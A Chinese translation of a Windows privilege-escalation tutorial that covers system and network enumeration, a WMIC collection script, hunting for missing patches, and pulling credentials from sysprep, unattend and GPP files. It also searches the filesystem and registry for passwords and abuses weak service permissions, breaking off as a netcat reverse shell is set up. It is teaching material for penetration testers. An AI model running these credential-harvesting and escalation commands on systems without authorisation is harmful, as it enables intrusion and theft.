原文地址：http://fuzzysecurity.com/tutorials/16.html
注意我将会使用各种版本的Windows来强调命令行可能存在的差异。记住不同的OS/SP差异可能导致命令格式不存在或者产生轻微不同的输出。我尝试把本文组织成各个版本的Windows通用的提权方法。
(一)信息收集
1）获取操作系统版本
[color=red]C:\Windows\system32> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"[/color]
OS Name: Microsoft Windows 7 Professional
OS Version: 6.1.7601 Service Pack 1 Build 7601
2）hostname和user
[color=red]C:\Windows\system32> hostname[/color]
b33f
[color=red]C:\Windows\system32> echo %username%[/color]
user1
3）查看user1是否属于本地管理员组
[color=red]C:\Windows\system32> net users[/color]
User accounts for \\B33F
-------------------------------------------------------------------------------
Administrator b33f Guest
user1
The command completed successfully.
[color=red]C:\Windows\system32> net user user1[/color]
User name user1
Full Name
Comment
User's comment
Country code 000 (System Default)
Account active Yes
Account expires Never
Password last set 1/11/2014 7:47:14 PM
Password expires Never
Password changeable 1/11/2014 7:47:14 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 1/11/2014 8:05:09 PM
Logon hours allowed All
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
以上是我们暂时需要知道的所有信息。接下来是网络信息，主机连接到哪里以及这些连接上有哪些规则
4）网络接口和路由表
[color=red]C:\Windows\system32> ipconfig /all[/color]
Windows IP Configuration
Host Name . . . . . . . . . . . . : b33f
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Bluetooth Device (Personal Area Network)
Physical Address. . . . . . . . . : 0C-84-DC-62-60-29
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection
Physical Address. . . . . . . . . : 00-0C-29-56-79-35
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::5cd4:9caf:61c0:ba6e%11(Preferred)
IPv4 Address. . . . . . . . . . . : 192.168.0.104(Preferred)
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Lease Obtained. . . . . . . . . . : Saturday, January 11, 2014 3:53:55 PM
Lease Expires . . . . . . . . . . : Sunday, January 12, 2014 3:53:55 PM
Default Gateway . . . . . . . . . : 192.168.0.1
DHCP Server . . . . . . . . . . . : 192.168.0.1
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-18-14-24-1D-00-0C-29-56-79-35
DNS Servers . . . . . . . . . . . : 192.168.0.1
NetBIOS over Tcpip. . . . . . . . : Enabled
[color=red]C:\Windows\system32> route print[/color]
===========================================================================
Interface List
18...0c 84 dc 62 60 29 ......Bluetooth Device (Personal Area Network)
13...00 ff 0c 0d 4f ed ......TAP-Windows Adapter V9
11...00 0c 29 56 79 35 ......Intel(R) PRO/1000 MT Network Connection
1...........................Software Loopback Interface 1
16...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter
15...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #2
19...00 00 00 00 00 00 00 e0 Microsoft ISATAP Adapter #3
14...00 00 00 00 00 00 00 e0 Teredo Tunneling Pseudo-Interface
===========================================================================
IPv4 Route Table
===========================================================================
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 192.168.0.1 192.168.0.104 10
127.0.0.0 255.0.0.0 On-link 127.0.0.1 306
127.0.0.1 255.255.255.255 On-link 127.0.0.1 306
127.255.255.255 255.255.255.255 On-link 127.0.0.1 306
192.168.0.0 255.255.255.0 On-link 192.168.0.104 266
192.168.0.104 255.255.255.255 On-link 192.168.0.104 266
192.168.0.255 255.255.255.255 On-link 192.168.0.104 266
224.0.0.0 240.0.0.0 On-link 127.0.0.1 306
224.0.0.0 240.0.0.0 On-link 192.168.0.104 266
255.255.255.255 255.255.255.255 On-link 127.0.0.1 306
255.255.255.255 255.255.255.255 On-link 192.168.0.104 266
===========================================================================
Persistent Routes:
None
IPv6 Route Table
===========================================================================
Active Routes:
If Metric Network Destination Gateway
14 58 ::/0 On-link
1 306 ::1/128 On-link
14 58 2001::/32 On-link
14 306 2001:0:5ef5:79fb:8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::/64 On-link
14 306 fe80::/64 On-link
14 306 fe80::8d2:b4e:3f57:ff97/128
On-link
11 266 fe80::5cd4:9caf:61c0:ba6e/128
On-link
1 306 ff00::/8 On-link
14 306 ff00::/8 On-link
11 266 ff00::/8 On-link
===========================================================================
Persistent Routes:
None
[color=red][b]# arp -A displays the ARP (Address Resolution Protocol) cache table for all available interfaces.[/b][/color]
[color=red]C:\Windows\system32> arp -A[/color]
Interface: 192.168.0.104 --- 0xb
Internet Address Physical Address Type
192.168.0.1 90-94-e4-c5-b0-46 dynamic
192.168.0.101 ac-22-0b-af-bb-43 dynamic
192.168.0.255 ff-ff-ff-ff-ff-ff static
224.0.0.22 01-00-5e-00-00-16 static
224.0.0.251 01-00-5e-00-00-fb static
224.0.0.252 01-00-5e-00-00-fc static
239.255.255.250 01-00-5e-7f-ff-fa static
255.255.255.255 ff-ff-ff-ff-ff-ff static
5）接下来是活跃的网络连接和防火墙规则
[color=red]C:\Windows\system32> netstat -ano[/color]
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 684
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:5354 0.0.0.0:0 LISTENING 1400
TCP 192.168.0.104:139 0.0.0.0:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 684
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:5357 [::]:0 LISTENING 4
UDP 0.0.0.0:5355 *:* 1100
UDP 0.0.0.0:52282 *:* 976
UDP 0.0.0.0:55202 *:* 2956
UDP 0.0.0.0:59797 *:* 1400
UDP 127.0.0.1:1900 *:* 2956
UDP 127.0.0.1:65435 *:* 2956
UDP 192.168.0.104:137 *:* 4
UDP 192.168.0.104:138 *:* 4
UDP 192.168.0.104:1900 *:* 2956
UDP 192.168.0.104:5353 *:* 1400
UDP 192.168.0.104:65434 *:* 2956
UDP [::]:5355 *:* 1100
UDP [::]:52281 *:* 976
UDP [::]:52283 *:* 976
UDP [::]:55203 *:* 2956
UDP [::]:59798 *:* 1400
UDP [::1]:1900 *:* 2956
UDP [::1]:5353 *:* 1400
UDP [::1]:65433 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:1900 *:* 2956
UDP [fe80::5cd4:9caf:61c0:ba6e%11]:65432 *:* 2956
[color=red][b]# The following two netsh commands are examples of commands that are not universal across OS/SP. The netsh
firewall commands are only available from XP SP2 and upwards.
#下面两条命令在windows7的命令行里面不好用，但是可以在powershell里面使用
[/b][/color][color=red]C:\Windows\system32> netsh firewall show state[/color]
Firewall status:
-------------------------------------------------------------------
Profile = Standard
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Group policy version = Windows Firewall
Remote admin mode = Disable
Ports currently open on all network interfaces:
Port Protocol Version Program
-------------------------------------------------------------------
No ports are currently open on all network interfaces.
[color=red]C:\Windows\system32> netsh firewall show config[/color]
Domain profile configuration:
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Allowed programs configuration for Domain profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Port configuration for Domain profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Domain profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode = Enable
Exception mode = Enable
Multicast/broadcast response mode = Enable
Notification mode = Enable
Service configuration for Standard profile:
Mode Customized Name
-------------------------------------------------------------------
Enable No Network Discovery
Allowed programs configuration for Standard profile:
Mode Traffic direction Name / Program
-------------------------------------------------------------------
Enable Inbound COMRaider / E:\comraider\comraider.exe
Enable Inbound nc.exe / C:\users\b33f\desktop\nc.exe
Port configuration for Standard profile:
Port Protocol Mode Traffic direction Name
-------------------------------------------------------------------
ICMP configuration for Standard profile:
Mode Type Description
-------------------------------------------------------------------
Enable 2 Allow outbound packet too big
Log configuration:
-------------------------------------------------------------------
File location = C:\Windows\system32\LogFiles\Firewall\pfirewall.log
Max file size = 4096 KB
Dropped packets = Disable
Connections = Disable
6）最后我们来简单查看一下主机上都运行什么：scheduled tasks, running processes, started services and installed drivers.
# This will display verbose output for all scheduled tasks, below you can see sample output for a
single task.
[color=red]C:\Windows\system32> schtasks /query /fo LIST /v[/color]
Folder: \Microsoft\Windows Defender
HostName: B33F
TaskName: \Microsoft\Windows Defender\MP Scheduled Scan
Next Run Time: 1/22/2014 5:11:13 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: N/A
Last Result: 1
Author: N/A
Task To Run: c:\program files\windows defender\MpCmdRun.exe Scan -ScheduleJob
-WinTask -RestrictPrivilegesScan
Start In: N/A
Comment: Scheduled Scan
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 5:11:13 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
[..Snip..]
# The following command links running processes to started services.
[color=red]C:\Windows\system32> tasklist /SVC[/color]
Image Name PID Services
========================= ======== ============================================
System Idle Process 0 N/A
System 4 N/A
smss.exe 244 N/A
csrss.exe 332 N/A
csrss.exe 372 N/A
wininit.exe 380 N/A
winlogon.exe 428 N/A
services.exe 476 N/A
lsass.exe 484 SamSs
lsm.exe 496 N/A
svchost.exe 588 DcomLaunch, PlugPlay, Power
svchost.exe 668 RpcEptMapper, RpcSs
svchost.exe 760 Audiosrv, Dhcp, eventlog,
HomeGroupProvider, lmhosts, wscsvc
svchost.exe 800 AudioEndpointBuilder, CscService, Netman,
SysMain, TrkWks, UxSms, WdiSystemHost,
wudfsvc
svchost.exe 836 AeLookupSvc, BITS, gpsvc, iphlpsvc,
LanmanServer, MMCSS, ProfSvc, Schedule,
seclogon, SENS, ShellHWDetection, Themes,
Winmgmt, wuauserv
audiodg.exe 916 N/A
svchost.exe 992 EventSystem, fdPHost, netprofm, nsi,
WdiServiceHost, WinHttpAutoProxySvc
svchost.exe 1104 CryptSvc, Dnscache, LanmanWorkstation,
NlaSvc
spoolsv.exe 1244 Spooler
svchost.exe 1272 BFE, DPS, MpsSvc
mDNSResponder.exe 1400 Bonjour Service
taskhost.exe 1504 N/A
taskeng.exe 1556 N/A
vmtoolsd.exe 1580 VMTools
dwm.exe 1660 N/A
explorer.exe 1668 N/A
vmware-usbarbitrator.exe 1768 VMUSBArbService
TPAutoConnSvc.exe 1712 TPAutoConnSvc
[..Snip..]
[color=red]C:\Windows\system32> net start[/color]
These Windows services are started:
Application Experience
Application Information
Background Intelligent Transfer Service
Base Filtering Engine
Bluetooth Support Service
Bonjour Service
COM+ Event System
COM+ System Application
Cryptographic Services
DCOM Server Process Launcher
Desktop Window Manager Session Manager
DHCP Client
Diagnostic Policy Service
Diagnostic Service Host
Diagnostic System Host
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Function Discovery Provider Host
Function Discovery Resource Publication
Group Policy Client
[..Snip..]
[b][color=red]# This can be useful sometimes as some 3rd party drivers, even by reputable companies, contain more holes
than Swiss cheese. This is only possible because ring0 exploitation lies outside most peoples expertise.[/b]
C:\Windows\system32> DRIVERQUERY[/color]
Module Name Display Name Driver Type Link Date
============ ====================== ============= ======================
1394ohci 1394 OHCI Compliant Ho Kernel 11/20/2010 6:01:11 PM
ACPI Microsoft ACPI Driver Kernel 11/20/2010 4:37:52 PM
AcpiPmi ACPI Power Meter Drive Kernel 11/20/2010 4:47:55 PM
adp94xx adp94xx Kernel 12/6/2008 7:59:55 AM
adpahci adpahci Kernel 5/2/2007 1:29:26 AM
adpu320 adpu320 Kernel 2/28/2007 8:03:08 AM
AFD Ancillary Function Dri Kernel 11/20/2010 4:40:00 PM
agp440 Intel AGP Bus Filter Kernel 7/14/2009 7:25:36 AM
aic78xx aic78xx Kernel 4/12/2006 8:20:11 AM
aliide aliide Kernel 7/14/2009 7:11:17 AM
amdagp AMD AGP Bus Filter Dri Kernel 7/14/2009 7:25:36 AM
amdide amdide Kernel 7/14/2009 7:11:19 AM
AmdK8 AMD K8 Processor Drive Kernel 7/14/2009 7:11:03 AM
AmdPPM AMD Processor Driver Kernel 7/14/2009 7:11:03 AM
amdsata amdsata Kernel 3/19/2010 9:08:27 AM
amdsbs amdsbs Kernel 3/21/2009 2:35:26 AM
amdxata amdxata Kernel 3/20/2010 12:19:01 AM
AppID AppID Driver Kernel 11/20/2010 5:29:48 PM
arc arc Kernel 5/25/2007 5:31:06 AM
[..Snip..]
(二)WMIC
wmic参考资源http://www.computerhope.com/wmic.htm
不幸的是一些默认配置下的Windows不允许使用WMIC，除非用户是管理员组的。根据我的测试，我注意到Windows XP不允许低权限的用户使用WMIC。相反的是，默认Windows7和Windows8企业版默认允许低权限用户使用WMIC。
为了给一个WMIC的基本印象：
[color=red]C:\Windows\system32> wmic /?[/color]
[global switches]
The following global switches are available:
/NAMESPACE Path for the namespace the alias operate against.
/ROLE Path for the role containing the alias definitions.
/NODE Servers the alias will operate against.
/IMPLEVEL Client impersonation level.
/AUTHLEVEL Client authentication level.
/LOCALE Language id the client should use.
/PRIVILEGES Enable or disable all privileges.
/TRACE Outputs debugging information to stderr.
/RECORD Logs all input commands and output.
/INTERACTIVE Sets or resets the interactive mode.
/FAILFAST Sets or resets the FailFast mode.
/USER User to be used during the session.
/PASSWORD Password to be used for session login.
/OUTPUT Specifies the mode for output redirection.
/APPEND Specifies the mode for output redirection.
/AGGREGATE Sets or resets aggregate mode.
/AUTHORITY Specifies the for the connection.
/?[:<BRIEF|FULL>] Usage information.
For more information on a specific global switch, type: switch-name /?
The following alias/es are available in the current role:
ALIAS - Access to the aliases available on the local system
BASEBOARD - Base board (also known as a motherboard or system board) management.
BIOS - Basic input/output services (BIOS) management.
BOOTCONFIG - Boot configuration management.
CDROM - CD-ROM management.
COMPUTERSYSTEM - Computer system management.
CPU - CPU management.
CSPRODUCT - Computer system product information from SMBIOS.
DATAFILE - DataFile Management.
DCOMAPP - DCOM Application management.
DESKTOP - User's Desktop management.
DESKTOPMONITOR - Desktop Monitor management.
DEVICEMEMORYADDRESS - Device memory addresses management.
DISKDRIVE - Physical disk drive management.
DISKQUOTA - Disk space usage for NTFS volumes.
DMACHANNEL - Direct memory access (DMA) channel management.
ENVIRONMENT - System environment settings management.
FSDIR - Filesystem directory entry management.
GROUP - Group account management.
IDECONTROLLER - IDE Controller management.
IRQ - Interrupt request line (IRQ) management.
JOB - Provides access to the jobs scheduled using the schedule service.
LOADORDER - Management of system services that define execution dependencies.
LOGICALDISK - Local storage device management.
LOGON - LOGON Sessions.
MEMCACHE - Cache memory management.
MEMORYCHIP - Memory chip information.
MEMPHYSICAL - Computer system's physical memory management.
NETCLIENT - Network Client management.
NETLOGIN - Network login information (of a particular user) management.
NETPROTOCOL - Protocols (and their network characteristics) management.
NETUSE - Active network connection management.
NIC - Network Interface Controller (NIC) management.
NICCONFIG - Network adapter management.
NTDOMAIN - NT Domain management.
NTEVENT - Entries in the NT Event Log.
NTEVENTLOG - NT eventlog file management.
ONBOARDDEVICE - Management of common adapter devices built into the motherboard (system board).
OS - Installed Operating System/s management.
PAGEFILE - Virtual memory file swapping management.
PAGEFILESET - Page file settings management.
PARTITION - Management of partitioned areas of a physical disk.
PORT - I/O port management.
PORTCONNECTOR - Physical connection ports management.
PRINTER - Printer device management.
PRINTERCONFIG - Printer device configuration management.
PRINTJOB - Print job management.
PROCESS - Process management.
PRODUCT - Installation package task management.
QFE - Quick Fix Engineering.
QUOTASETTING - Setting information for disk quotas on a volume.
RDACCOUNT - Remote Desktop connection permission management.
RDNIC - Remote Desktop connection management on a specific network adapter.
RDPERMISSIONS - Permissions to a specific Remote Desktop connection.
RDTOGGLE - Turning Remote Desktop listener on or off remotely.
RECOVEROS - Information that will be gathered from memory when the operating system fails.
REGISTRY - Computer system registry management.
SCSICONTROLLER - SCSI Controller management.
SERVER - Server information management.
SERVICE - Service application management.
SHADOWCOPY - Shadow copy management.
SHADOWSTORAGE - Shadow copy storage area management.
SHARE - Shared resource management.
SOFTWAREELEMENT - Management of the elements of a software product installed on a system.
SOFTWAREFEATURE - Management of software product subsets of SoftwareElement.
SOUNDDEV - Sound Device management.
STARTUP - Management of commands that run automatically when users log onto the computer
system.
SYSACCOUNT - System account management.
SYSDRIVER - Management of the system driver for a base service.
SYSTEMENCLOSURE - Physical system enclosure management.
SYSTEMSLOT - Management of physical connection points including ports, slots and
peripherals, and proprietary connections points.
TAPEDRIVE - Tape drive management.
TEMPERATURE - Data management of a temperature sensor (electronic thermometer).
TIMEZONE - Time zone data management.
UPS - Uninterruptible power supply (UPS) management.
USERACCOUNT - User account management.
VOLTAGE - Voltage sensor (electronic voltmeter) data management.
VOLUME - Local storage volume management.
VOLUMEQUOTASETTING - Associates the disk quota setting with a specific disk volume.
VOLUMEUSERQUOTA - Per user storage volume quota management.
WMISET - WMI service operational parameters management.
For more information on a specific alias, type: alias /?
CLASS - Escapes to full WMI schema.
PATH - Escapes to full WMI object paths.
CONTEXT - Displays the state of all the global switches.
QUIT/EXIT - Exits the program.
For more information on CLASS/PATH/CONTEXT, type: (CLASS | PATH | CONTEXT) /?
为了简化，我创建了一个脚本。可以把它放到目标机器上，用来提取processes, services, user accounts, user groups, network interfaces, Hard Drive information, Network Share information, installed Windows patches, programs that run at startup, list of installed software, information about the operating system and timezone.
可以从这里下载代码： [color=blue]http://fuzzysecurity.com/tutorials/files/wmic_info.rar[/color]
代码内容：
[i][b]for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html[/b][/i]
(三)寻找漏洞
接下来是寻找可以提权的安全漏洞
1）首先要做的是看看patchlevel。如果目标机基本没有patch，那么我们的工作就可以很轻松了。
[color=red]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn[/color]
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=2727528 Security Update KB2727528 11/23/2013
http://support.microsoft.com/?kbid=2729462 Security Update KB2729462 11/26/2013
http://support.microsoft.com/?kbid=2736693 Security Update KB2736693 11/26/2013
http://support.microsoft.com/?kbid=2737084 Security Update KB2737084 11/23/2013
http://support.microsoft.com/?kbid=2742614 Security Update KB2742614 11/23/2013
http://support.microsoft.com/?kbid=2742616 Security Update KB2742616 11/26/2013
http://support.microsoft.com/?kbid=2750149 Update KB2750149 11/23/2013
http://support.microsoft.com/?kbid=2756872 Update KB2756872 11/24/2013
http://support.microsoft.com/?kbid=2756923 Security Update KB2756923 11/26/2013
http://support.microsoft.com/?kbid=2757638 Security Update KB2757638 11/23/2013
http://support.microsoft.com/?kbid=2758246 Update KB2758246 11/24/2013
http://support.microsoft.com/?kbid=2761094 Update KB2761094 11/24/2013
http://support.microsoft.com/?kbid=2764870 Update KB2764870 11/24/2013
http://support.microsoft.com/?kbid=2768703 Update KB2768703 11/23/2013
http://support.microsoft.com/?kbid=2769034 Update KB2769034 11/23/2013
http://support.microsoft.com/?kbid=2769165 Update KB2769165 11/23/2013
http://support.microsoft.com/?kbid=2769166 Update KB2769166 11/26/2013
http://support.microsoft.com/?kbid=2770660 Security Update KB2770660 11/23/2013
http://support.microsoft.com/?kbid=2770917 Update KB2770917 11/24/2013
http://support.microsoft.com/?kbid=2771821 Update KB2771821 11/24/2013
[..Snip..]
[i][b]正如Windows的特点，输出不是很有用。最好的方法是寻找可以提权的漏洞并且查找他们的KB patch号。这些漏洞包含且不限于KiTrap0D (KB979682), MS11-011 (KB2393802), MS10-059 (KB982799), MS10-021 (KB979683), MS11-080 (KB2592799).在枚举了OS version和Sevice Pack后你应该找到那些当前可以使用的提权漏洞。通过使用KB patch号，你可以grep出那些漏掉的提权漏洞。[/b][/i]
使用下面语法来grep KB patch number
[color=red]C:\Windows\system32> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBPathNumber" /C:"KBPathNumber"[/color]
2）检查配置文件
通常配置文件存在下列目录下
c:\sysprep.inf
c:\sysprep\sysprep.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
这些文件要么是纯文本，要么是base64编码.下面几个示例：
[b][color=red]# This is a sample from sysprep.inf with clear-text credentials.[/color][/b]
[GuiUnattended]
OEMSkipRegional=1
OemSkipWelcome=1
AdminPassword=s3cr3tp4ssw0rd
TimeZone=20
[color=red][b]# This is a sample from sysprep.xml with Base64 "encoded" credentials. Please people Base64 is not
encryption, I take more precautions to protect my coffee. The password here is "SuperSecurePassword".[/b][/color]
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Description>Local Administrator</Description>
<DisplayName>Administrator</DisplayName>
<Group>Administrators</Group>
<Name>Administrator</Name>
</LocalAccount>
</LocalAccounts>
[b][color=red]# Sample from Unattended.xml with the same "secure" Base64 encoding.[/color][/b]
<AutoLogon>
<Password>
<Value>U3VwZXJTZWN1cmVQYXNzd29yZA==</Value>
<PlainText>false</PlainText>
</Password>
<Enabled>true</Enabled>
<Username>Administrator</Username>
</AutoLogon>
当目标机连接到域的时候，可以检查一下存放于SYSVOL的Groups.xml文件。任何一个认证的user都有权限访问这个文件，它里面的密码被user使用AES“模糊处理”了。我说“模糊处理”原因是它的static key被公开存放在msdn的网站([url]http://msdn.microsoft.com/en-us/library/cc422924.aspx[/url])，所以可以轻松解密密码。
除了Groups.xml文件，其他包含密码的文件：
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
通过这个漏洞可以手动浏览SYSVOL以及抓取相应文件
[img]http://dl2.iteye.com/upload/attachment/0101/2100/b4a7bc7b-f0fa-33bb-8f82-c82e4e543f7f.png[/img]
然而我们都喜欢自动化来使我们的工作尽可能的快速。这里有两个方法：1 metasploit有一个模块[url]https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp[/url]可以建立会话. 2 可以使用PowerSploit里面的Get_GPPassword[url]https://github.com/mattifestation/PowerSploit[/url]。PowerSploit是一个优秀的powershell框架，可以用来逆向工程，取证和渗透测试。
3)接下来我们查找一个诡异的注册表项"AlwaysInstallElevated"，如果这个设置开启，它允许任何权限的users使用NT AUTHORITY\SYSTEM安装msi文件。这对我来说看起来是一个诡异的主意：创建一个低权限的用户，然后使用这个用户安装SYSTEM级别的程序。对于关于这个问题的背景知识，参照这个连接。[url]http://www.greyhathacker.net/?p=185[/url]
为了可以使用这个我们需要检查两个注册表项是否设置，如果是那样的话我们可以弹出一个SYSTEM shell。可以使用下列两个句法：
[b][color=red]# This will only work if both registry keys contain "AlwaysInstallElevated" with DWORD values of 1.[/b]
C:\Windows\system32> reg query[/color] HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
C:\Windows\system32> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
4)在结束这节之前我们检查一下OS并且期望发现好东西。可以使用下列语法：
[b][color=red]# The command below will search the file system for file names containing certain keywords. You can
specify as many keywords as you wish.
[/b]
C:\Windows\system32> dir /s *pass* == *cred* == *vnc* == *.config*
[/color]
# Search certain file types for a keyword, this can generate a lot of output.
[color=red]C:\Windows\system32> findstr /si password *.xml *.ini *.txt[/color]
[b][color=red]# Similarly the two commands below can be used to grep the registry for keywords, in this case "password".
[/color][/b]
[color=red]C:\Windows\system32> reg query HKLM /f password /t REG_SZ /s
C:\Windows\system32> reg query HKCU /f password /t REG_SZ /s[/color]
(四)挽起袖子
在这最后的章节我们将会查看Windows services和文件/文件夹权限。我们的目标是使用弱权限来提取session权限。
我们将要检查很多权限，所以我们应该download一份accesschk.exe-Microsoft's Sysinternals Suite，可以从这里download[url]http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx[/url]
1）我们首先从Windows service开始，因为那里最有可能发现问题。通常来说，现代操作系统不会包含有漏洞的服务。漏洞，在这种情况下，指的是我们可以重新配置的服务参数。Windows服务有点像application的快捷键
[b][color=red]# We can use sc to query, configure and manage windows services.[/color][/b]
[color=red]C:\Windows\system32> sc qc Spooler[/color]
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: Spooler
TYPE : 110 WIN32_OWN_PROCESS (interactive)
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\System32\spoolsv.exe
LOAD_ORDER_GROUP : SpoolerGroup
TAG : 0
DISPLAY_NAME : Print Spooler
DEPENDENCIES : RPCSS
: http
SERVICE_START_NAME : LocalSystem
我们可以使用accesschk检查每个service的权限
[b][color=red]# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list all services.[/color][/b]
[color=red]C:\> accesschk.exe -ucqv Spooler[/color]
Spooler
R NT AUTHORITY\Authenticated Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
R BUILTIN\Power Users
SERVICE_QUERY_STATUS
SERVICE_QUERY_CONFIG
SERVICE_INTERROGATE
SERVICE_ENUMERATE_DEPENDENTS
SERVICE_START
SERVICE_USER_DEFINED_CONTROL
READ_CONTROL
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
accesschk可以自动检测我们是否对一个Windows service有写权限。通常作为一个低权限user我们想检查"Authenticated Users"。确保检查了你的user属于哪个group，例如"power users"被认为是一个低权限的user group。
来比较一下Windows 8和Windows XP SP0
[color=red][b]# This is on Windows 8.[/b][/color]
[color=red]C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated [/color]Users" *
No matching objects found.
[color=red]# On a default Windows XP SP0 we can see there is a pretty big security fail.[/color]
[color=red]C:\> accesschk.exe -uwcqv "Authenticated Users" *[/color]
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
[color=red]C:\> accesschk.exe -ucqv SSDPSRV[/color]
SSDPSRV
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
[color=red]C:\> accesschk.exe -ucqv upnphost[/color]
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
RW NT AUTHORITY\LOCAL SERVICE
SERVICE_ALL_ACCESS
这个问题在XP SP2版本中得到了解决，然而在SP0和SP1它可以被用作一个通用的本地提权方法。通过重新配置service我们可以让它以SYSTEM权限运行任何我们指定的二进制文件。
我们来看看怎么操作，在这个例子里service将会执行netcat并且会打开一个SYSTEM权限的反弹shell。其他的操作也是可以的。
[color=red]C:\> sc qc upnphost[/color]
[SC] GetServiceConfig SUCCESS
SERVICE_NAME: upnphost
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINDOWS\System32\svchost.exe -k LocalService
